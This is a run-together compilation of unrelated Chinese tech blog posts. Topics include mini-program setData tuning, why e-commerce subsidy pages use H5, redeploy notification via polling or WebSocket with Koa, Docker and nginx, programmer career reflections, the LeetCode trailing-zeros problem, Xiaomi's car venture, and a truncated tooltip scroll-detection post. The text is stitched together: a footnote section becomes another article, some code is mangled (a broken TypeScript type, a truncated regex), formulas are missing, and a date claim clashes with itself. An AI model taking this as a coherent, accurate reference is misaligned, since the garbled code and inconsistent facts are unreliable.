这个时候，我们可以把数据分层处理，分成用于纯渲染的数据，逻辑数据，埋点数据等。

伪代码如下所示：

// 处理服务端返回的数据

handleRequestData(data){

    /* 处理业务数据 */

    const { renderData,serviceData,reportData } = this.handleBusinessData(data)

    /* 只有渲染需要的数据才更新 */

    this.setData({

        renderData

    })

    /* 保存逻辑数据，和上报数据 */

    this.serviceData = serviceData

    this.reportData = reportData

}

2.渲染分片

还有一个场景就是页面确实有很多模块需要渲染，这个时候在所难免要用 setData 更新大量的数据，如果把这些渲染的数据一次性更新完，也会占用一定的时间；针对这个场景就可以使用渲染分片的概念。就是优先渲染第一屏模块，其他模块用 setTimeout 分片渲染，这样可以缓解一次 setData 造成的压力。

Page({

  data:{

    templateList:[],

  },

  async onLoad(){

    /* 请求初始化参数 */

    const { moduleList } = await requestData()  

    /* 渲染分组，每五个模版分成一组 */

    const templateList = this.group(moduleList,5)

    this.updateTemplateData(templateList)

  },

  /* 将渲染模版进行分组 */

  group(array, subGr0upLength) {

    let index = 0;

    const newArray = [];

    while (index < array.length) {

      newArray.push(array.slice(index, (index += subGr0upLength)));

    }

    return newArray;

  },

  /* 更新模版数据 */

  updateTemplateData(array, index = 0) {

    if (Array.isArray(array)) {

      this.setData(

        {

          [`templateList[${index}]`]: array[index],

        },

        () => {

          if (index + 1 < array.length) {

            setTimeout(()=>{

                this.updateTemplateData(array, index + 1);

            },100)

          }

        }

      );

    }

  },

})

3.业务场景定制

针对一些特定的业务场景，需要制定符合当前业务场景的技术方案。这个可能要求开发者有一定的架构设计能力。这里就不具体介绍了。

四 总结

本文讲了小程序的 setData 的一些优化方案，希望能给读过文章的读者在小程序 setData 优化方向，提供一个思路。

最好，希望感觉有帮助的朋友能够 点赞 + 收藏，关注我，持续分享前端

参考文献

• 掘金小册《大前端跨端开发指南》

百亿补贴为什么用 H5？H5 未来会如何发展？

23 年 11 月末，拼多多市值超过了阿里。我想写一篇文章《百亿补贴为什么用 H5》，没有动笔；24 年新年，我想写一篇《新的一年，H5 会如何发展》，也没有动笔。

眼看着灵感就要烂在手里，我决定把两篇文章合为一篇，与大家分享。当然，这些分析预测只是个人观点，如果你有不同的意见，欢迎在评论区讨论交流。

拳打 H5，脚踢小程序。我是「小霖家的混江龙」，关注我，带你了解更多实用的 H5、小程序武学。

百亿补贴为什么用 H5

我们首先看一张控制台的图，可以确认，拼多多的「百亿补贴」技术栈是 H5，大概率是 React 写的 H5。

不只是拼多多，我特地确认了，京东、淘宝的的「百亿补贴」技术栈也是 H5 (点击它们右上角三个点，拷贝分享链接，然后用浏览器打开)。

那么，为什么电商巨头会在「百亿补贴」这种重要活动上选择 H5 呢？用 H5 有什么好处呢？

H5 技术已经成熟

第一个原因，也是最基础的原因，就是 H5 技术已经成熟，能够完整地实现功能。具体来说：

浏览器兼容性不断提高

自 2008 年 HTML5 草案发布以来，截止 2014 年，HTML5 已有 18 年历史。18 年间，主流浏览器对 HTML5、CSS3 和 JavaScript 的标准语法兼容性一直持续改进，22 年微软更是亲手盖上了 IE 棺材板。虽然 Safari（iOS 浏览器）的兼容性仍然备受诟病，但总体来说兼容成本已经变得可以接受。

主流框架已经成熟

前端最主流的两大框架 Vue 和 React 已经成熟。它们的成熟体现在多个方面：

• 从时间的角度看，截止 2024 年，React 已经发布了 11 年，而 Vue 已经发布了 10 年。经过多年的发展，前端开发者已经非常熟悉 React 和 Vue，能熟练地应用它们进行开发。


• 从语法的角度看，自 React16.8 发布 Hooks，以及 Vue3 发布 Composition API 以来，两大框架语法基本稳定，不再有大的变化。前端开发者可以更加专注于业务逻辑，无需过多担心框架语法的变动。


• 从未来发展方向看，React 目前致力于推广 React Server Component ¹；Vue 则在尝试着无 VDom 的 Vapor 方向，并计划利用 Rust 重写 Vite ²。这表明旧领域不再有大的颠覆，两大框架已经正寻求新的发展领域。

混合开发已经成熟

混合开发是指将原生开发（Android 和 iOS）和 Web 开发结合起来的一种技术。简而言之，它将 H5 嵌入到移动应用内部运行。近些年，业界对混合开发的优势和缺陷已经有清晰的认识，并针对其缺陷进行了相应的优化。具体来说：

• 混合开发的优势包括开发速度快、一套代码适配 Android 和 iOS，以及实现代码的热更新。这意味着程序员能更快地编写跨平台应用，及时更新应用、修复缺陷；


• 混合开发的缺陷则是性能较差、加载受限于网络。针对这个缺陷，各大 App、以及云服务商如阿里云 ³ 和腾讯云 ⁴ 都推出了自己的离线包方案。离线包方案可以将网页的静态资源（如 HTML、CSS、JS、图片等）缓存到本地，用户访问 H5 页面时，可以直接读取本地的离线资源，从而提升页面的加载速度。可以说，接入离线包后，H5 不再有致命缺陷。

前端基建工具已经成熟

近些年来，业界最火的技术话题之一，就是用 Rust 替代前端基建，包括：用 Rust 替代 Webpack 的 Rspack；用 Rust 替代 Babel 的 SWC；用 Rust 替代 Eslint 的 OxcLint 等等。

前端开发者对基建工具抱怨，已经从「这工具能不能用」，转变为「这工具好不好用」。这种「甜蜜的烦恼」，只有基建工具成熟后才会出现。

综上所述，浏览器的兼容性提升、主流框架的成熟、混合开发的发展和前端基建工具的完善，使 H5 完全有能力承载「百亿补贴」业务。

H5 开发成本低

前文我们已经了解到，成熟的技术让 H5 可以实现「百亿补贴」的功能。现在我们介绍另一个原因——H5 开发成本低。

「百亿补贴」需要多个 H5

「百亿补贴」的方式，是一个常住的 H5，搭配上多个流动的 H5。（「常住」和「流动」是我借鉴「常住人口」和「流动人口」造的词）

• 常住 H5 链接保持不变。站外投放的链接基本都是常住 H5 的，站内首页入口链接也是常住 H5 的，这样方便用户二次访问。


• 流动 H5 链接位于常住 H5 的不同位置，比如头图、侧边栏等。时间不同、用户不同、算法不同，流动 H5 的链接都会不同，流动 H5 可以区分用户，方便分发流量。
  
  

  具体来看，拼多多至少有三个流量的分发点，第一个是可点击的头图，第二个是列表上方的活动模块，第三个是右侧浮动的侧边栏，三者可以投放不同的链接。最近就分别投放 3.8 女神节链接、新人链接和品牌链接：

「百亿补贴」需要及时更新

不难想到，每到一个节日、每换一个品牌，「百亿补贴」就需要更新一次。

有时还需要为一些品牌定制化 H5 代码。如果使用其他技术栈，排期跟进通常会比较困难，但是使用 H5 就能够快速迭代并上线。

H5 投放成本低

我们已经「百亿补贴」使用 H5 技术栈的两个原因，现在来看第三个原因——H5 适合投放。

拼多多的崛起过程中，投放到其他 App 的链接功不可没。早期它通过微信等社交平台「砍一刀」的模式，低成本地吸引了大量用户。如今，它通过投放「百亿补贴」策略留住用户。

H5 的独特之处，在于它能够灵活地在多个平台上进行投放，其他技术栈很难有这样的灵活性。即使是今天，抖音、Bilibili 和小红书等其他 App 中，「百亿补贴」的 H5 链接也随处可见。

拼多多更是将 H5 这种灵活性发挥到极致，只要你有「百亿补贴」的链接，你甚至可以在微信、飞书、支付宝等地方直接查看「百亿补贴」 H5 页面。

综上所述，能开发、能快速开发、且开发完成后能大量投放，是「百亿补贴」青睐 H5 的原因。

H5 未来会如何发展

了解「百亿补贴」选择 H5 的原因后，我们来看看电商巨头对 H5 未来发展的影响。我认为有三个影响：

H5 数量膨胀，定制化要求苛刻

C 端用户黏性相对较低，换一个 App 的成本微不足道。近年 C 端市场增长缓慢，企业重点从获取更多的新客变成留住更多的老客，很难容忍用户丢失。因此其他企业投放活动 H5 时，企业必须也投放活动 H5，电商活动 H5 就变得越来越多。

这个膨胀的趋势不仅仅存在于互联网巨头的 App 中，中小型应用也不例外，甚至像 12306、中国移动、招商银行这种工具性极强的应用也无法幸免。

随着市场的竞争加剧，定制化要求也变得越来越苛刻，目的是让消费者区分各种活动。用互联网黑话来说，就是「建立用户心智」。在可预见的未来，尽管电商活动 H5 结构基本相同，但是它们的外观将变得千差万别、极具个性。

SSR 比例增加，CSR 占据主流

在各家 H5 数量膨胀、竞争激烈的情况下，一定会有企业为提升 H5 的秒开率接入 SSR，因此 SSR 的比例会增加。

但我认为 CSR 依然会是主流，主要是因为两个原因：

因此，收益丰厚、技术雄厚的公司才愿意使用 SSR。

Monorepo 比例会上升，类 Shadcn UI 组件库也许会兴起

如前所述，H5 的数量膨胀，代码复用就会被着重关注。我猜测更多企业会选择 Monorepo 管理方式。所谓 Monorepo，简单来说，就是将原本应该放到多个仓库的代码放入一个仓库，让它们共享相同的版本控制。这样可以降低代码复用成本。

定制化要求苛刻，我猜测社区中类似 Shadcn UI 的 H5 组件库或许会兴起。现有的 H5 组件库样式太单一，即使是 Shadcn UI，也很难满足国内 H5 的定制化需求。然而，Shadcn UI 的基本思路——「把源码下载到项目」，是解决定制化组件难复用的问题的好思路。因此，我认为类似 Shadcn 的 H5 组件库可能会逐渐兴起。

总结

本文介绍了我认为「百亿补贴」会选用 H5 的三大原因：

• H5 技术已经成熟


• H5 开发成本低


• H5 投放成本低

以及电商巨头对 H5 产生的三个影响：

• 数量膨胀，定制化要求苛刻


• SSR 比例增加，CSR 占据主流


• Monorepo 比例增加，类 Shadcn UI 组件库也许会兴起

总而言之，H5 开发会越来越专业，对程序员要求会越来越高。至于这种情况是好是坏，仁者见仁智者见智，欢迎大家在评论区沟通交流。

拳打 H5，脚踢小程序。我是「小霖家的混江龙」，关注我，带你了解更多实用的 H5、小程序武学。

Footnotes

1. 场景

前端构建完上线，用户还停留还在老页面，用户不知道网页重新部署了，跳转页面的时候有时候js连接hash变了导致报错跳不过去，并且用户体验不到新功能。

2. 解决方案

1. 每次打包写入一个json文件，或者对比生成的script的src引入的hash地址或者etag不同，轮询调用，判断是否更新
2. 前端使用websocket长连接，具体是每次构建，打包后通知后端，更新后通过websocket通知前端

轮询调用可以改成在前置路由守卫中调用，无需控制时间，用户有操作才去调用判断。

3. 具体实现

3.1 轮询方式

参考小满的实现稍微修改下：

class Monitor {

  private oldScript: string[] = []



  private newScript: string[] = []



  private oldEtag: string | null = null



  private newEtag: string | null = null



  dispatch: Record() => void)[]> = {}



  private stop = false



  constructor() {

    this.init()

  }



  async init() {

    console.log('初始化')

    const html: string = await this.getHtml()

    this.oldScript = this.parserScript(html)

    this.oldEtag = await this.getEtag()

  }

 // 获取html

  async getHtml() {

    const html = await fetch('/').then((res) => res.text())

    return html

  }

  // 获取etag是否变化

  async getEtag() {

    const res = await fetch('/')

    return res.headers.get('etag')

  }

  // 解析script标签

  parserScript(html: string) {

    const reg = /]*)?>(.*?)<\/script\s*>/gi

    return html.match(reg) as string[]

  }

  // 订阅

  on(key: 'update', fn: () => void) {

    ;(this.dispatch[key] || (this.dispatch[key] = [])).push(fn)

    return this

  }

  // 停止

  pause() {

    this.stop = !this.stop

  }

    

  get value() {

    return {

      oldEtag: this.oldEtag,

      newEtag: this.newEtag,

      oldScript: this.oldScript,

      newScript: this.newScript,

    }

  }

  // 两层对比有任一个变化即可

  compare() {

    if (this.stop) return

    const oldLen = this.oldScript.length

    const newLen = Array.from(

      new Set(this.oldScript.concat(this.newScript))

    ).length

    if (this.oldEtag !== this.newEtag || newLen !== oldLen) {

      this.dispatch.update.forEach((fn) => {

        fn()

      })

    }

  }

 // 检查更新 

  async check() {

    const newHtml = await this.getHtml()

    this.newScript = this.parserScript(newHtml)

    this.newEtag = await this.getEtag()

    this.compare()

  }

}



export const monitor = new Monitor()



// 路由前置守卫中调用

import { monitor } from './monitor'



monitor.on('update', () => {

  console.log('更新数据', monitor.value)

  Modal.confirm({

    title: '更新提示',

    icon: createVNode(ExclamationCircleOutlined),

    content: '版本有更新，是否刷新页面！',

    okText: '刷新',

    cancelText: '不刷新',

    onOk() {

      // 更新操作

      location.reload()

    },

    onCancel() {

      monitor.pause()

    },

  })

})



router.beforeEach((to, from, next) => {

    monitor.check()

})

3.2 websocket方式

既然后端不好沟通，那就自己实现一个完整版。

具体流程如下：

3.2.1 代码实现

服务端使用koa实现：

// 引入依赖 koa koa-router koa-websocket short-uuid koa2-cors

const Koa = require('koa')

const Router = require('koa-router')

const websockify = require('koa-websocket')

const short = require('short-uuid')

const cors = require('koa2-cors')



const app = new Koa()

// 使用koa2-cors中间件解决跨域

app.use(cors())



const router = new Router()



//  使用 koa-websocket 将应用程序升级为 WebSocket 应用程序

const appWebSocket = websockify(app)



// 存储所有连接的客户端进行去重处理

const clients = new Set()



// 处理 WebSocket 连接

appWebSocket.ws.use((ctx, next) => {

  // 存储新连接的客户端

  clients.add(ctx.websocket)

  // 处理连接关闭事件

  ctx.websocket.on('close', () => {

    clients.delete(ctx.websocket)

  })

  ctx.websocket.on('message', (data) => {

    ctx.websocket.send(666)//JSON.stringify(data)

  })

  ctx.websocket.on('error', (err) => {

     clients.delete(ctx.websocket)

  })



  return next(ctx)

})



// 处理外部通知页面更新的接口

router.get('/api/webhook1', (ctx) => {

  // 向所有连接的客户端发送消息,使用uuid确保不重复

  clients.forEach((client) => {

    client.send(short.generate())

  })

  ctx.body = 'Message pushed successfully!'

})



// 将路由注册到应用程序

appWebSocket.use(router.routes()).use(router.allowedMethods())



// 启动服务器

appWebSocket.listen(3000, () => {

  console.log('Server started on port 3000')

})

前端页面代码：

websocket使用vueuse封装的，保持个心跳。

import { useWebSocket } from '@vueuse/core'



const { open, data } = useWebSocket('ws://hzsunrise.top/ws', {

  heartbeat: {

    message: 'ping',

    interval: 5000,

    pongTimeout: 10000,

  },

  immediate: true, // 自动连接

  autoReconnect: {

    retries: 6,

    delay: 3000,

  },

})





watch(data, (val) => {

  if (val.length !== '3HkcPQUEdTpV6z735wxTum'.length) return

  Modal.confirm({

    title: '更新提示',

    icon: createVNode(ExclamationCircleOutlined),

    content: '版本有更新，是否刷新页面！',

    okText: '刷新',

    cancelText: '不刷新',

    onOk() {

     // 更新操作

      location.reload()

    },

    onCancel() {},

  })

})



// 建立连接

onMounted(() => {

  open()

})

// 断开链接

onUnmounted(() => {

  close()

})

3.2.2 发布部署

后端部署：

考虑服务器上没有安装node环境，直接使用docker进行部署，使用pm2运行node程序。

1. 写一个DockerFile，发布镜像

// Dockerfile:



# 使用 Node.js 作为基础镜像

FROM node:14-alpine



# 设置工作目录

WORKDIR /app



# 复制 package.json 和 package-lock.json 到容器中

COPY package.json ./



# 安装项目依赖

RUN npm install

RUN npm install -g pm2



# 复制所有源代码到容器中

COPY . .



# 暴露端口号

EXPOSE 3000



# 启动应用程序

CMD ["pm2-runtime","app.js"]

本地进行打包镜像发送到docker hub，使用docker build -t f5l5y5/websocket-server-image:v0.0.1 .命令生成镜像文件，使用docker push f5l5y5/websocket-server-image:v0.0.1 推送到自己的远程仓库

2. 服务器拉取镜像，运行

拉取镜像：docker pull f5l5y5/websocket-server-image:v0.0.1

运行镜像: docker run -d -p 3000:3000 --name websocket-server f5l5y5/websocket-server-image:v0.0.1

可进入容器内部查看：docker exec -it sh # 使用 sh 进入容器

查看容器运行情况：

、

进入容器内部查看程序运行情况，pm2常用命令

此时访问/api/webhook1会找到项目的对应路由下，需要配置下nginx代理转发

3. 配置nginx接口转发

map $http_upgrade $connection_upgrade {

    default upgrade;

    ''      close;

  }

server {

        listen     80;

        server_name  hzsunrise.top;

        client_max_body_size 50M;



        location / {

            root /usr/local/openresty/nginx/html/xxx-admin;

            try_files $uri $uri/ /index.html;

        }

        // 将触发的更新代理到容器的3000

        location /api/webhook1 {

         proxy_pass http://localhost:3000/api/webhook1;

         proxy_set_header Host $host;

         proxy_set_header X-Real-IP $remote_addr;

        }

        // websocket 配置

        location /ws {

          # 反向代理到容器中的WebSocket接口

          proxy_pass http://localhost:3000;

          # 支持WebSocket协议

          proxy_http_version 1.1;

          proxy_set_header Upgrade $http_upgrade;

          proxy_set_header Connection "Upgrade";

        }       

}

3.2.3 测试

url请求api/webhook即可

4. 总结

主要实践下两种方案：

1. 轮询调用方案：轮询获取网页引入的脚本文件的hash值或者etag来实现。这种方案的优点是实现简单，但存在性能消耗和延迟较高的问题。
2. WebSocket版本方案：在前端部署的同时建立一个WebSocket连接，将后端构建部署完成的通知发送给前端。当后端完成部署后，通过WebSocket向前端发送消息，提示用户刷新页面以加载最新版本。这种方案的优点是实时性好，用户体验较好，但需要在前端和后端都进行相应的配置和代码开发。

选择合适的方案取决于具体的需求和实际情况，仅供参考O^O!

参考文章

小满-前端重新部署如何通知用户刷新网页？

作者：一诺滚雪球
来源：juejin.cn/post/7264396960558399549

有什么事是你当了程序员之后才知道的？

地铁上刷到一个话题，觉得挺有意思的，如下。

看到很多朋友在下面吐槽，有说加班是真的多，有说找对象是真的难，有说程序员爱穿格子衫是假爱背电脑是真的等等，大家吐槽得都挺欢乐的。

老猫也开始复盘这些年的经历，更多想聊的可能还是一个后端程序员的真实感悟。

入行

俗话说“男怕入错行，女怕嫁错郎。”相信很多朋友在进入一个行业之前都是深思熟虑的，亦或者是咨询过一些人，亦或者是查阅了挺多资料。然而老猫入行则相当奇葩，不是蓄谋已久，而是心血来潮。

一切都得从一部电视剧开始，不晓得大家有没有看过这部电视剧，佟丽娅主演的“我的经济适用男”。

12年的一部电视剧，挺老了，主要女主放弃富二代的追求和"成熟稳重老实巴交的IT男"好上了的桥段。当时心智单纯的老猫可谓看的是热血沸腾啊。一拍桌子，“发可油，劳资今后就要当那个男主，这结局多好啊，抱得美人归啊这是，我要学IT!”。当时老猫的专业是电子信息类的专业，后来基本就放弃了本专业，大学基本逃课就跑去学软件去了。

就这么上了贼船，一晃十年过去了。多年前，躲在实验室里，开发了一个简单的坦克大战的游戏，感觉自己是最牛逼的，子弹爱怎么飞怎么飞，坦克能开多块就开多快，那时候觉得自己就是这个IT世界的主角，“control evety thing”。在这样一个程序的世界里，所有的事儿都是自己说了算。

踏上社会后，遭遇社会惨无人道地毒打之后，发现要做的就是提升造火箭吹牛逼的能力，工作中是个crud-boy。键盘上磨损最严重的那几个键是“ctrl”,“c”,“v”,“x”。当年那个意气风发的少年已经不复存在，我是一个弱鸡螺丝钉。

工作十年

大部分后端程序员也主要是围绕着业务在转，所以crud可能占了大部分时间。

话虽如此，但还是有点除此以外的收获，这些收获甚至潜移默化地影响着我的生活。

技术日新月异，今天这个框架，明天那个架构，今天这种实现牛逼，明天那种部署更6等等，到头来发现自己一直都是在追着技术跑。也确实如果不奔跑的话，可能就会被淘汰。作为程序员来说适应变化也是程序员的一种品质，但是老猫觉得具备下面这些可能会更加重要一些，这些可能也是唯一不变的。

抽象思维很重要

第一次听到“架构师”这个职位的时候，觉得那一定是一个需要超强技术能力的人才能胜任的岗位。

后来才发现原来架构师也分种类，“业务架构”，“技术架构”等等。再后来发现无论哪种架构，其实他们身上会有一种共同的东西，那就是优秀的抽象思维。

啥是抽象思维？百度百科上是这么说的：

抽象思维，又称词的思维或者逻辑思维，是指用词进行判断、推理并得出结论的过程。

抽象思维以词为中介来反映现实。这是思维的最本质特征，也是人的思维和动物心理的根本区别。

说的比较官方，甚至有点不好懂。

大家以前上语文课的时候，有没有做过阅读理解，老师在讲课的时候常常我们概述一下这段文字到底讲了什么东西，越精简越好，可能要求20个字以内。其实这个过程就是在锻炼咱们的抽象思维能力以及概括能力。

在软件后端领域，当业务传达某一个需求的时候，往往需要产品去提炼一道，那么此时就是产品抽象，继而产品又将需求传达给相关的研发负责人，研发负责人设计出相关的实现模型，那么这又是技术抽象，这些抽象的过程就是将复杂的业务流程和逻辑转化为可管理和可重用的组件的过程。它的目的是简化系统的实现，聚焦于应用程序的核心功能，同时隐藏不必要的细节。抽象后设计出各种基础能力，通过对基础能力的组合和拼接，支持复杂多变的业务逻辑和业务形态。

具备抽象思维，能够让我们从复杂的业务中迅速切入业务关键点。在生活中可能表现在透过现象看到本质，或者碰到问题能够快速给出有效解决方案或思路。例如老猫上次遇到的“真-丢包事件”。

分层思维很重要

说到分层思维，应该准确地来说是建立在能够清晰的抽象出事务本质的基础上，而后再去做分层。

很多地方都会存在分层思想。生活中就有，大家双休日没事的时候估计会逛商场，商城的模式一般就是底层停车场，一层超市，二层卖服装的，三层儿童乐园，卖玩具的，四层吃饭看电影娱乐的等等。

再去聊到技术上的分层思想，例如OSI七层模型，大家在面试的时候甚至都碰到过。

抛开这些，其实我们对自己当前负责的一些业务，一些系统也需要去做一些分层划分，这些分层可以让我们更好地看清业务系统之间的关系。例如老猫之前梳理的一张图。

通过这样的分层梳理，我们可能更好地理解当前的系统组成以及层级关系。（备注一下，老猫这里画图工具用的还是wps绘制的）。

结构化思维很重要

结构化思维又是咋回事儿？
不着急，打个比方，咱们看下面一组数据：
213421790346567560889
现在有个要求，咱们需要记下这些数字，以及出现的次数。短时间内想要记住可能比较困难
如果我们把这些数字的内容调整下，变成下面这样：
00112233445566778899
是不是清晰了很多？

所谓的结构化思维，就是从无序到有序的一种思考过程，将搜集到的信息、数据、知识等素材按一定的逻辑进行分析、整理，呈现出有序的结构，继而化繁为简。有结构的信息更适合大脑记忆和理解。

人类大脑在处理信息的时候，有两个特点：

第一，不能一次太多，太多信息会让我们的大脑觉得负荷过大；乔治·米勒在他的论文《奇妙的数字7±2》中提出，人类大脑短期记忆无法一次容纳7个以上的记忆项目，比较容易记住的是3个项目，当然最容易的是1个。

第二，喜欢有规律的信息。有规律的信息能减少复杂度，Mitchell Waldrop在《复杂》一书中，提出一种用信息熵来进行复杂性度量的方法，所谓信息熵就是一条信息包含信息量的大小。举个例子，假设一条消息由符号A、C、G和T组成。如果序列高度有序，很容易描述，例如“A A A A A A A … A”，则熵为零。而完全随机的序列则有最大熵值。

老猫在写文章的时候喜欢先列一下要写的提纲，然后再跟着提纲一点一点的往下写，写定义，写实现，写流程。

虽然本文偷了个懒，没有写思维导图，老猫一般再聊到干货的时候都会和大家先列一下提纲。这种提纲其实也是结构化的一种。当我们遇到复杂系统需求的时候，咱们不妨先列个提纲，将需要做的按照自己定义好的顺序罗列好，这样解决起来会更加容易一些。

太过理性可能也不好

程序员做久了，做一件事情的时候都会去想着先做什么然后做什么一步一步，有时候会显得过于机械，不知变通，
有时候可能也会太过较真，大直男显得情商比较低，会多多少少给别人带去一些不便，记得在银行办理业务的时候会指出业务员说话的逻辑漏洞，然后不停地追问，最终可能导致业务员尴尬地叫来业务经理解释等等。

程序员思维做事情，可能在日常生活中比较严谨，但是很多时候还是会显得比较死板。

总结

以上是老猫觉得除了技术以外，觉得一个后端程序员应该具备的一些思考方式以及工作方式，当然也可能只是老猫的方法论，如果大家有其他的工作领悟，也欢迎大家留言，大家一起分享一下经验。

数学博士吐槽华为招聘

今天刷到一篇帖子：

文中来自川大的数学博士吐槽了华为对数学博士的招聘。

作者强调自己是川大的本硕博（算子分析方向），有论文，也拿过国家一等奖。

但自己投的华为简历，却石沉大海，了无音讯。

还直言道：自己在数学系待了 10 年，没有任何一个数学博士能够满足华为招聘三条要求中的两条，如果数学博士干的是华为招聘上的事情，毕业都难。

这事儿，怎么说呢，从不同角度，会有不同的理解。

首先，在企业招聘中，学历往往是起点门槛要求，而非唯一要求。

因此肯定不是说满足数学博士要求，就必然入面试，这一点和「本科/硕士」一样。

其次，企业招聘中，往往是「应用类」人才占比要比「科研类」人才占比更高。

因此在学历（数学博士）要求上，往往还会有企业所期望的技能要求，例如文中说的「熟练使用计算机编程语言」，也算是常规操作。

至于原帖作者说的，因为「华为招聘中有很多不是数学博士专业领域知识要求」，就得出「华为觉得不到这个水平就不算是博士」的结论，多少有点偏激了。

...

回归主线。

来一道不是数学博士也能做出来的算法题。

这道题曾经还是华为的校招机试原题。

题目描述

平台：LeetCode

题号：172

给定一个整数 $n$ ，返回 $n!$ 结果中尾随零的数量。

提示 n! = n * (n - 1) * (n - 2) * ... * 3 * 2 * 1

示例 1：

输入：n = 3



输出：0



解释：3! = 6 ，不含尾随 0

示例 2：

输入：n = 5



输出：1



解释：5! = 120 ，有一个尾随 0

提示：

• $0 <= n <= 10^4$

进阶：你可以设计并实现对数时间复杂度的算法来解决此问题吗？

数学

对于任意一个 $n!$ 而言，其尾随零的个数取决于展开式中 $10$ 的个数，而 $10$ 可由质因数 $2 * 5$ 而来，因此 $n!$ 的尾随零个数为展开式中各项分解质因数后 $2$ 的数量和 $5$ 的数量中的较小值。

即问题转换为对 $[1, n]$ 中的各项进行分解质因数，能够分解出来的 $2$ 的个数和 $5$ 的个数分别为多少。

为了更具一般性，我们分析对 $[1, n]$ 中各数进行分解质因数，能够分解出质因数 $p$ 的个数为多少。根据每个数能够分解出 $p$ 的个数进行分情况讨论：

• 能够分解出至少一个 $p$ 的个数为 $p$ 的倍数，在 $[1, n]$ 范围内此类数的个数为 $c_1 = \left \lfloor \frac{n}{p} \right \rfloor$


• 能够分解出至少两个 $p$ 的个数为 $p^2$ 的倍数，在 $[1, n]$ 范围内此类数的个数为 $c_2 = \left \lfloor \frac{n}{p^2} \right \rfloor$


• ...


• 能够分解出至少 $k$ 个 $p$ 的个数为 $p^k$ 的倍数，在 $[1, n]$ 范围内此类数的个数为 $c_k = \left \lfloor \frac{n}{p^k} \right \rfloor$

我们定义一个合法的 $k$ 需要满足 $p^k \leqslant n$，上述的每一类数均是前一类数的「子集」（一个数如果是 $p^k$ 的倍数，必然是 $p^{k-1}$ 的倍数），因此如果一个数是 $p^k$ 的倍数，其出现在的集合数量为 $k$，与其最终贡献的 $p$ 的数量相等。

回到本题，$n!$ 中质因数 $2$ 的数量为 :

$n!$ 中质因数 $5$ 的数量为 :

由 $2 < 5$，可知 $k_2 \leqslant k_1$，同时 $i$ 相同的每一项满足 $\left \lfloor \frac{n}{5^i} \right \rfloor \leqslant \left \lfloor \frac{n}{2^i} \right \rfloor$，可知最终 $\sum_{i = 1}^{k_2}\left \lfloor \frac{n}{5^i} \right \rfloor \leqslant \sum_{i = 1}^{k_1}\left \lfloor \frac{n}{2^i} \right \rfloor$，即质因数 $5$ 的个数必然不会超过质因数 $2$ 的个数。我们只需要统计质因数 $5$ 的个数即可。

Java 代码：

class Solution {

    public int trailingZeroes(int n) {

        return n == 0 ? 0 : n / 5 + trailingZeroes(n / 5);

    }

}

Python 代码：

class Solution:

    def trailingZeroes(self, n: int) -> int:

        return n // 5 + self.trailingZeroes(n // 5) if n else 0

• 时间复杂度：$O(\log{n})$


• 空间复杂度：忽略递归带来的额外空间开销，复杂度为 $O(1)$

相信大家都听过雷总的一句鸡汤：“我干了30多年，回头一望，全是漫长的挫折和煎熬，和大家一样，我也迷茫，我也曾经动摇甚至放弃过，我想跟大家说我们不要逃避，你经历的所有的挫折和失败，甚至那些看似毫无意义，消磨时间的事情，都将成为你最重要的，最宝贵的财富，人生很长，永远相信美好的事情即将发生。”这段话治愈了很多人，熬不住的时候回头想想这句话也让我受益良多。生活，就像一条曲折的河流，有时平静，有时汹涌。每个人都会遇到各自的艰难困苦，那些看似寻常的日子，也许背后隐藏着不为人知的挣扎。这就是生活，这就是人生。

都说十年磨一剑，雷总三年就出成果，从当年的PPT造车到实际落地，中间的困难与挫折可想而知。我们都知道小米是造手机、电视、智能家居等电子产品的，当3年前官宣造车的时候，很多人都不看好它，甚至还有人冷嘲热讽，那么今天小米用实际行动证明了自己。前些日子比亚迪掀桌子了，比亚迪秦起售价直接干到7.98万，这也让不少网约车车主感到痛心，2年跑的滴滴全白干，而且新款秦配置还更好；去年都在吐槽特斯拉降价，甚至有的人还去维权，最终也无功而返，今年国产车掀起降价潮，导致整个新能源汽车市场受到影响。不过这波降价主要原因还是今年的经济不景气，大家都在缩减开销，但其实也有一部分原因是因为小米迟迟不敢公布售价，而从外表来看SU7又很好看，肯定是一个大卖点,所以不少厂家先于小米一步降价为求站稳脚跟，不少网友也调侃说电车降价小米功不可没。
造车压力大，下面给大家看下雷总最近参加人大的照片，以及以前的招聘，对比起来真的很明显憔悴了不少，也老了不少：

谈谈雷军带队小米造车

小米的生态链中可以说车是必不可少的一环，雷军常说，人、车、家形成一个生态链的闭环，雷军也说了这次将是他最后一次创业，如果这次成功可以说是给自己的人生画上了圆满的句号，下面我从几个方面看来谈谈造车的这个事情。

创新理念

雷军一直以来都是创新的倡导者和实践者，在智能手机领域取得了巨大成功。他带领小米进军造车领域，是对传统汽车行业的一次颠覆性挑战，展现了他对未来出行方式的前瞻性思考和勇于尝试的精神。不过有一说一，现在小米手机可是越卖越贵啊，1999的那个时代再也回不去了。

技术实力

小米作为一家科技公司，拥有雄厚的技术实力和研发能力。结合小米在智能硬件、人工智能等领域的优势，可以为汽车行业注入新的活力和创新，打造更加智能、互联的汽车产品。

生态系统优势

小米不仅仅是一家手机制造商，更是建立了庞大的生态系统，涵盖了智能家居、智能穿戴、智能健康等多个领域。雷军希望通过造车项目，将小米的生态系统拓展到汽车领域，实现智能设备之间的无缝连接和互联互通。不知道小米还会不会在车上用上小爱同学。

用户体验

雷军一直以来都非常注重用户体验，他认为用户是一切创新的源泉和动力。在造车项目中，他致力于打造用户体验一流的智能汽车，通过人性化设计和智能科技，为用户提供更加便捷、安全、舒适的出行体验。

挑战与机遇

进军汽车行业是一项充满挑战的任务，雷军清楚地意识到这一点。但与挑战相伴随的是巨大的机遇，随着智能化、电动化、共享化的趋势不断加速，汽车行业正经历着前所未有的变革，雷军带领小米造车正是抓住了这个机遇，努力走在行业的前沿。

哇噻，简直是个天才，无需scroll事件就能监听到元素滚动

1. 前言

最近在做 toolTip 弹窗相关组件封装，实现的效果就是可以通过hover或点击在元素的上面或者下面能够出现一个弹框，类似下面这样

这时我遇到一个问题，因为我想当这个弹窗快要滚出屏幕之外时能够从由上面弹出变到由下面弹出，本来想着直接监听 scroll 事件就能搞定的，但是仔细一想 scroll 事件到底要绑定到那个 DOM 上呢？ 因为很多时候滚动条出现的元素并不是最外层的 body 或者 html 可能是任意一个元素上的滚动条。这个时候就无法通过绑定 scroll 事件来监听元素滚动了。

2. 问题分析

我脑海中首先 IntersectionObserver 这个 API，但是这个 API 只能用来 监测目标元素与视窗(viewport)的交叉状态，也就是当我的元素滚出或者滚入的时候可以触发该监听的回调。

new IntersectionObserver((event) => {

        refresh();

      }, {

